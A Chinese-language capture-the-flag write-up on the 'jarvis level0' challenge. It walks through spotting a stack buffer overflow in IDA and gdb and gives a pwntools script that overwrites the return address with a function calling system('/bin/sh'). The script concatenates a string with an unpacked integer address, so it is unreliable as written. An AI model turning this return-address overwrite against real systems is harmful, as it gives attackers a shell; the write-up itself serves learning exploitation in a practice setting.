Pwn-10月21-jarvis-level0

这题是补上昨天没写完的一题。。。虽然很简单??

检查保护措施

file level0 and checksec level0:

Pwn-10月21-jarvis-level0

可以看到这种简单的pwn题基本不开保护措施,不然菜鸡我也玩不下去。。。

静态分析程序逻辑

一用IDA Pro打开程序文件看看main函数就脑残地看到了return vulnerable_function()

Pwn-10月21-jarvis-level0

跟着去这个函数看一看:

Pwn-10月21-jarvis-level0

可以看到定义的buf空间为0x80,而能够用read函数读取的为0x200,能够造成栈溢出,并且实现函数地址覆盖。而且我们也可以看到一个callsystem函数,点进去看看可以发现system("/bin/sh"):

Pwn-10月21-jarvis-level0

那么根据静态分析出来的信息大概可以确定:首先通过main函数返回到vulnerable_function函数,然后通过vulnerable_function函数将某处返回地址覆盖为callsystem函数的地址,然后getshell。

动态分析程序逻辑

gdb 调试一下level0,先单步执行到vulnerable_function()函数:

Pwn-10月21-jarvis-level0

先过一遍该函数,然后记录关键信息:

Pwn-10月21-jarvis-level0

计算一下距离:hex(0x7fffffffdfc0 + 8 - 0x7fffffffdf40) = 0x88,那为什么比定义的0x80要多0x08的距离呢?这里我们可以通过ida pro的alt + k快捷键查看buf的栈帧,会发现:

Pwn-10月21-jarvis-level0

通过gdb调试里面的多个关键信息对比,其实多出来的0x08是栈底的内容,继续下一步,就可以看到最开始被压入栈中的返回地址被置栈顶,准备返回:

Pwn-10月21-jarvis-level0

那么我们就可以开始构造exp啦?。

攻破

通过上面的逻辑我们可以写出如下exp:

#coding:utf-8
Author = "Yof3ng"
from pwn import *

io = process("level0")
callsystem_addr = 0x400596
padding = (0x80 + 0x08)*"a"
payload = padding + callsystem_addr
io.recvline()
io.sendline(payload)
io.interactive()

运行效果:

Pwn-10月21-jarvis-level0

然后就getshell啦?。

相关文章: